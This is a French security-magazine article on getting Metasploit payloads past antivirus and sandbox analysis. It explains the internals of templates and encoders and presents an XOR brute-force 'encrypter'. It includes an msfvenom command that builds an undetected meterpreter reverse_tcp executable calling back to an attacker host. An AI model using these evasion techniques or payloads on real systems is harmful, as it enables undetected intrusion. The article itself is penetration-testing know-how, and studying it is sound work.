Contournement antiviral avec Metasploit : encrypter

Magazine
Marque
MISC
Numéro
81
Mois de parution
septembre 2015
Spécialité(s)


Résumé

Le projet que nous allons vous exposer est parti d’un constat simple : un grand nombre de nos attaques utilisant la suite Metasploit n’arrivait pas à leur terme, en raison des protections mises en place par des solutions de protection de type antivirus, H-IPS, etc. L’objectif de cet article est de proposer une approche générique permettant de contourner rapidement ces protections tout en permettant d’utiliser, inchangés, les nombreux codes d’exploitation ASM/x86 publics ; quel que soit le vecteur d’attaque (fichier, service réseau, etc.).


Body

1. Le Framework Metasploit

Metasploit Framework souvent désigné par son abréviation MSF est un projet open source développé principalement en Ruby. Son but est d’aider à la réalisation de tests liés à la sécurité des SI et au développement rapide de code d’exploitation.

Il est organisé de façon modulaire et possède plusieurs interfaces utilisateurs qu’on ne présente plus : msfconsole, msfcli, msfpayload , msfencode, etc. Les deux dernières seront celles qui nous intéresseront dans cet article. Ces deux interfaces, en l’occurrence msfpayload et msfencode sont désormais rassemblées en une seule nommée msfvenom. La commande msfpayload permet la génération de code malveillant pouvant se présenter sous différents formats (C, Python, JavaScript, etc.) en fonction du contexte dans lequel sera exécutée cette charge. Cette composante d’encodage disponible dans metasploit a pour unique fonction la suppression de caractères tels que la présence d’un octet nul x00 représentant la fin d’une chaîne de caractères et peut poser problème lors de l’exploitation de vulnérabilités. En effet, l’encodeur modifie le code de la charge malveillante. À titre d’exemple, une opération de type XOR peut être appliquée à chaque octet. Cette transformation entraînera la modification de la signature détectée par les antivirus. C’est pour cette raison que les encodeurs sont souvent assimilés, à tort, a des moyens de contourner les solutions antivirales.

1.1 Les templates

Les « templates » sont des fichiers exécutables à l’intérieur desquels Metasploit insère une charge malveillante. Il en existe plusieurs disponibles par défaut pour les systèmes d’exploitation GNU/Linux, Microsoft Windows, Mac OS X et pour d’autres architectures plus exotiques. Ces fichiers sont stockés dans le répertoire metasploit-framework/data/templates/, on y trouve notamment ceux utilisés pour le format PE :

template_x64_windows.exe

template_x64_windows_svc.exe

template_x86_windows.exe

template_x86_windows_old.exe

template_x86_windows_svc.exe

Il est également possible de remplacer ces templates fournis par défaut, bien connus des éditeurs de solutions antivirales, par un exécutable quelconque, correspondant en termes d’architecture et de format (utilisation de l’option -x).

Dans le cadre de cet article, nous nous intéresserons principalement à la sortie d’un exécutable 32 bits au format PE. Prenons le cas d’un système d’exploitation Windows x86, le fichier utilisé sera template_x86_windows.exe. L’image ci-dessous nous montre l’analyse de cet exécutable (sans charge malveillante insérée) par le site internet virustotal.com.

 

virustotal_figure1

 

Figure 1 : Analyse de l'exécutable « template_x86_windows.exe » sans charge malveillante.

Comme nous pouvons le constater si l’objectif est de réaliser un exécutable totalement indétectable, notre démarche n’est pas satisfaisante du fait que le template par défaut, dépourvu de charge, est détecté comme malveillant.

1.2 Format de sortie

Metasploit utilise différents formats de sortie. Pour les systèmes Microsoft Windows, nous avons la possibilité de générer la charge soit dans une librairie avec l’option dll, soit liée à un service avec l’option exe-service. Nous nous intéresserons surtout aux exécutables au format PE. En effet, il existe plusieurs options dont la différence réside dans la façon d’insérer et d’exécuter la charge. C’est ainsi que nous disposons des options exe, exe-only et exe-small. Cette dernière étant aisément détectée n’est plus très utile et ne sera donc pas abordée au cours de cet article.

1.2.1 exe

Nous allons commencer par expliquer le fonctionnement de l’option exe. Elle fait appel à la fonction to_win32pe contenue dans le fichier metasploit/lib/msf/util/exe.rb. Dans les premières lignes figure l’appel à la fonction win32_rwx_exec.

# Copy the code to a new RWX segment to allow for self-modifying encoders

payload = win32_rwx_exec(code)

Cette fonction prend comme paramètre la variable code, qui est en réalité une charge seule (ex : windows/x86/meterpreter/reverse_tcp), ou un trampoline associé à une charge, si cette dernière a été encodée. La fonction va concaténer un trampoline à la variable code passée en paramètre. Le résultat de cette action est stocké dans la variable payload présente dans la séquence mentionnée ci-dessus.

Le trampoline, une fois exécuté, va allouer une zone mémoire grâce à la fonction VirtualAllocavec les droits PAGE_EXECUTE_READWRITE. Le fonctionnement du trampoline est volontairement simplifié puisque préalablement à l’appel de la fonction VirtualAlloc il a besoin d’obtenir les adresses des fonctions. À ces fins, il utilise la méthode suffisamment détaillée sur Internet dont on peut prendre connaissance avec la référence [2].

Revenons à la fonction to_win32pe. Elle va chercher une section exécutable suffisamment grande pour contenir la charge. Puis elle va tirer aléatoirement la position où sera placée la variable payload

# Pick a random offset to store the payload

poff = rand(block[1] - payload.length - 256)

Par la suite, elle appelle la fonction generate_nopsqui créer une suite de nops et d’instructions aléatoires placées sur le point d’entrée.

# Pad the entry point with random nops

entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)

À la fin du bloc entry un saut vers la charge est inséré.

# Relative jump from the end of the nops to the payload

entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')

La fonction mélange ensuite, de façon aléatoire, 25 % du code original écrit dans la section .text, les blocs entries et payload; modifie le timestamp et recalcule le checksum. Le traitement est résumé dans le schéma ci-dessous :

 

encodeur_exe_ruby

 

Figure 2 : Analyse du fonctionnement de l'encodeur pour le format de sortie « exe ».

1.2.2 exe-only

L’option que nous allons détailler maintenant est exe-only qui fait appel à la fonction to_winpe_only. Le code ci-dessous permet de parcourir les sections à la recherche de celle contenant le point d’entrée. Nous vérifions toujours que la taille est suffisante pour écrire la charge. En effet, au lieu de créer un code qui allouera une zone mémoire, nous donnons à la section les droits en écriture et nous modifions, à cet effet, le champ characteristics. La charge sera, alors, directement exécutée dans la section exécutable du binaire.

# look for section with entry point

sections_header.each do |sec|

virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]

sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]

characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]

 

if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)

importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]

if (importsTable - addressOfEntryPoint) < code.length

#shift original entry point to prevent tables overwritting

addressOfEntryPoint = importsTable - code.length + 4

 

entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset

exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')

end

# put this section writable

characteristics |= 0x8000_0000

newcharacteristics = [characteristics].pack('V')

exe[sec[0],newcharacteristics.length] = newcharacteristics

end

end

Enfin, la charge sera directement placée au niveau du point d’entrée de notre fichier exécutable.

# put the shellcode at the entry point, overwriting template

entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)

exe[entryPoint_file_offset,code.length] = code

exe = clear_dynamic_base(exe, pe)

exe

1.3 Encoder

L’outil msfencode, souvent utilisé conjointement avec msfpayload, permet d’encoder la charge en fonction du format cible et de l’encodeur retenu. Pour que le code d’exploitation fonctionne correctement, une des actions devant, par exemple, être souvent réalisée, consiste en la suppression des mauvais caractères. msfencode fait appel aux fonctions du script lib/msf/core/encoder.rb. Ce dernier contient notamment deux classes : EncoderState et Encoder.

- EncoderState sert à suivre l’état d’avancement de l’encodage. Il stocke des attributs tels que buf, correspondant au buffer initial, qui contient la charge non modifiée et encoded, correspondant au buffer final, qui contient la charge encodée (et/ou) chiffrée, et bien d’autres attributs.

- Encoder qui génère à l’aide de la fonction encodeune version encodée du buffer passé en argument. Tous les encodeurs héritent de cette deuxième classe.

L’image ci-dessous illustre cette fonction :

 

fonction_encode_ruby

 

Figure 3 : Code de la fonction ruby encode().

La séquence qui va nous intéresser se situe à partir de la ligne 268. Nous constatons qu’elle fait appel à trois fonctions : encode_begin et encode_end, toutes deux redéfinies dans l’encodeur sélectionné, et do_encode.

- encode_begin réalise des tâches préalables à l’encodage ;

- encode_endvaréaliser les actions postérieures à l’encodage ;

- do_encodeva permettre les actions de génération du trampoline et d’encodage de la chargecomme le montre l’exemple ci-après :

 

fonction_do_encode_ruby

 

Figure 4 : Code de la fonction ruby do_encode().

En ligne 286, la fonctiondecoder_stubest appelée. C’est à cet emplacement que sera généré le trampoline. Il est à noter que la séquence assembleur permet le décodage/déchiffrement de la charge en mémoire vive et son exécution. L’action exécutée ensuite est confiée à la fonction encode_block qui réalise l’encodage du buffer.Ces deux fonctions dépendent de l’encodeur. Une fois leurs actions réalisées, le trampoline et la charge sont concaténés (ligne 325).

2. Détection sans charge malveillante

Dans le tableau ci-dessous, nous avons voulu observer quelle composante les solutions antivirales détectent en excluant une charge malveillante :

 

Template

Format de sortie

Encoder

VirusTotal

 

template_x86_windows.exe (Metasploit)

 

exe-only

Aucun

18 / 54

exe

Aucun

29 / 54

exe-only

shikata_ga_nai

16 / 54

exe

shikata_ga_nai

35 / 54

 

PDFJPG.exe (http://www.pdfjpg.com)

exe-only

Aucun

0 / 54

exe

Aucun

19 / 54

exe-only

shikata_ga_nai

2 / 54

exe

shikata_ga_nai

25 / 54

Nous voyons clairement que le template Metasploit lève davantage d’alertes qu’un binaire quelconque. Nous pouvons également constater que le format de sortie exe est plus détecté que exe-only. Cela peut s’expliquer, en partie, par la technique utilisée pour l’exécution de la charge malveillante qui dans le cas de exe est faite par une allocation mémoire grâce à VirtualAlloc avec les droits PAGE_EXECUTE_READWRITE. Afin qu’un exécutable Windows ait le moins de chance d’être détecté par les solutions antivirales la première règle à respecter consiste à ne jamais utiliser les templates fournis par Metasploit, et la deuxième consiste à préférer exe-only pour le format de sortie.

3. Encrypter

3.1 Objectifs

L’outil que nous allons vous présenter maintenant n’est pas un encodeur, mais s’apparente plutôt à un outil de chiffrement, son objectif principal étant de rendre les charges malveillantes indétectables en les chiffrant. Notre outil de chiffrement doit contourner les protections antivirales, ce qui revient à prendre en compte la recherche par signature et la recherche par comportement. Afin de faciliter son utilisation, il est intégré comme encodeur au sein du framework Metasploit.

Notre implémentation utilise « l'algorithme XOR », parce que suffisant pour atteindre notre objectif.

3.2 Fonctionnement

Une idée simple permettant de contourner l’analyse par signature consiste à chiffrer la charge malveillante connue qui sera stockée dans un exécutable, dans un échange réseau, etc.

L’analyse comportementale est réalisée dans un bac à sable ou sandbox permettant d’exécuter, en limitant les risques, un code inconnu dans un environnement restreint. L’utilisateur ne souhaitant pas attendre indéfiniment, cette analyse doit être limitée dans le temps ou via un nombre de cycles de calcul. Si aucun comportement considéré comme malveillant n’a été identifié, la charge sera alors effectivement lancée sur le système d’exploitation. Réaliser un grand nombre de calculs, coûteux en temps, nécessaires pour retrouver le code malveillant en clair, nous permettra donc de contourner simplement l’analyse comportementale.

La solution retenue consiste à retrouver la clé de chiffrement par une attaque de type « force brute ». Notre stub contient un « clair connu », correspondant aux dix premiers octets de la charge non chiffrée. Ainsi pour retrouver la clé de chiffrement, il suffit d’effectuer une attaque par force brute sur les dix premiers octets de la charge chiffrée jusqu’à retomber sur le clair connu et ainsi retrouver la clé de chiffrement.

La durée de ce traitement étant supérieure à celle accordée à l’analyse effectuée en sandbox, cette dernière est contournée. Le temps nécessaire à cette opération dépend, en grande partie, de la puissance de la machine cible, des ressources CPU disponibles et de la grandeur de la clé. Dans notre implémentation, celle-ci est stockée dans un registre de 32 bits impliquant, de ce fait, 232 possibilités.

3.3 Utilisation

Le code source de l’outil se trouve à l’adresse suivante https://github.com/Sogeti-Pentest/Encrypter-Metasploit. Son installation est simple. Il suffit de copier le script ruby dans le répertoire metasploit/modules/encoders/x86/. Son utilisation est similaire à celle de tous les autres encodeurs de Metasploit.

Avec msfvenom :

msfvenom –p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=2222 -f raw -x filename.exe -f exe-only -e x86/bf_xor -o msf.exe

 

Avec msfconsole :

msf exploit(handler) > set ENCODER x86/bf_xor

ENCODER => x86/bf_xor

msf exploit(handler) > exploit

3.4 Résultats

Les tests effectués à la fin du projet sur le site virustotal.com nous ont montré qu’aucun antivirus, sur un total de 57 sélectionnés, n’a détecté la charge malveillante.

 

virustotal_figure2

 

Figure 5 : Résultat sur virustotal pour un binaire contenant une charge de type meterpreter/reverse_tcp encodée.

Nous avons également réalisé des tests dans une machine virtuelle avec les antivirus Kaspersky internet security 2014, Avast, Symantec, et bien d’autres lors de nos missions de tests d’intrusion. Aucun d’entre eux n’a détecté la charge, ni même émis une alerte. Cependant, certaines sandbox gardent l’exécutable plus longtemps que d’autres, il est donc nécessaire d’utiliser une clé assez grande ou de faire appel à l’option -c de msfencode permettant d’encoder plusieurs fois.

3.5 Points d’amélioration

Le développement d’un trampoline polymorphique, la gestion de clé de taille supérieure à 32 bits, la taille aléatoire du clair connu, une compatibilité avec l’architecture x64 sont des points d’amélioration laissés aux lecteurs en guise d’exercices ;-)

Remerciements

Merci aux équipes de SOGETI ESEC pentest & lab pour leurs relectures. Greetz à la fapsec family et au staff Root Me, thx pour les tests ;-p

Références

http://schierlm.users.sourceforge.net/avevasion.html

http://blog.harmonysecurity.com/2009_08_01_archive.html

https://www.scriptjunkie.us/2011/04/why-encoding-does-not-matter-and-how-metasploit-generates-exes/

https://github.com/rapid7/metasploit-framework

 



Article rédigé par

Les derniers articles Premiums

Les derniers articles Premium

Quarkus : applications Java pour conteneurs

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Initié par Red Hat, il y a quelques années le projet Quarkus a pris son envol et en est désormais à sa troisième version majeure. Il propose un cadre d’exécution pour une application de Java radicalement différente, où son exécution ultra optimisée en fait un parfait candidat pour le déploiement sur des conteneurs tels que ceux de Docker ou Podman. Quarkus va même encore plus loin, en permettant de transformer l’application Java en un exécutable natif ! Voici une rapide introduction, par la pratique, à cet incroyable framework, qui nous offrira l’opportunité d’illustrer également sa facilité de prise en main.

De la scytale au bit quantique : l’avenir de la cryptographie

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Imaginez un monde où nos données seraient aussi insaisissables que le célèbre chat de Schrödinger : à la fois sécurisées et non sécurisées jusqu'à ce qu'un cryptographe quantique décide d’y jeter un œil. Cet article nous emmène dans les méandres de la cryptographie quantique, où la physique quantique n'est pas seulement une affaire de laboratoires, mais la clé d'un futur numérique très sécurisé. Entre principes quantiques mystérieux, défis techniques, et applications pratiques, nous allons découvrir comment cette technologie s'apprête à encoder nos données dans une dimension où même les meilleurs cryptographes n’y pourraient rien faire.

Les nouvelles menaces liées à l’intelligence artificielle

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Sommes-nous proches de la singularité technologique ? Peu probable. Même si l’intelligence artificielle a fait un bond ces dernières années (elle est étudiée depuis des dizaines d’années), nous sommes loin d’en perdre le contrôle. Et pourtant, une partie de l’utilisation de l’intelligence artificielle échappe aux analystes. Eh oui ! Comme tout système, elle est utilisée par des acteurs malveillants essayant d’en tirer profit pécuniairement. Cet article met en exergue quelques-unes des applications de l’intelligence artificielle par des acteurs malveillants et décrit succinctement comment parer à leurs attaques.

Les listes de lecture

11 article(s) - ajoutée le 01/07/2020
Clé de voûte d'une infrastructure Windows, Active Directory est l'une des cibles les plus appréciées des attaquants. Les articles regroupés dans cette liste vous permettront de découvrir l'état de la menace, les attaques et, bien sûr, les contre-mesures.
8 article(s) - ajoutée le 13/10/2020
Découvrez les méthodologies d'analyse de la sécurité des terminaux mobiles au travers d'exemples concrets sur Android et iOS.
10 article(s) - ajoutée le 13/10/2020
Vous retrouverez ici un ensemble d'articles sur les usages contemporains de la cryptographie (whitebox, courbes elliptiques, embarqué, post-quantique), qu'il s'agisse de rechercher des vulnérabilités ou simplement comprendre les fondamentaux du domaine.
Voir les 66 listes de lecture

Abonnez-vous maintenant

et profitez de tous les contenus en illimité

Je découvre les offres

Déjà abonné ? Connectez-vous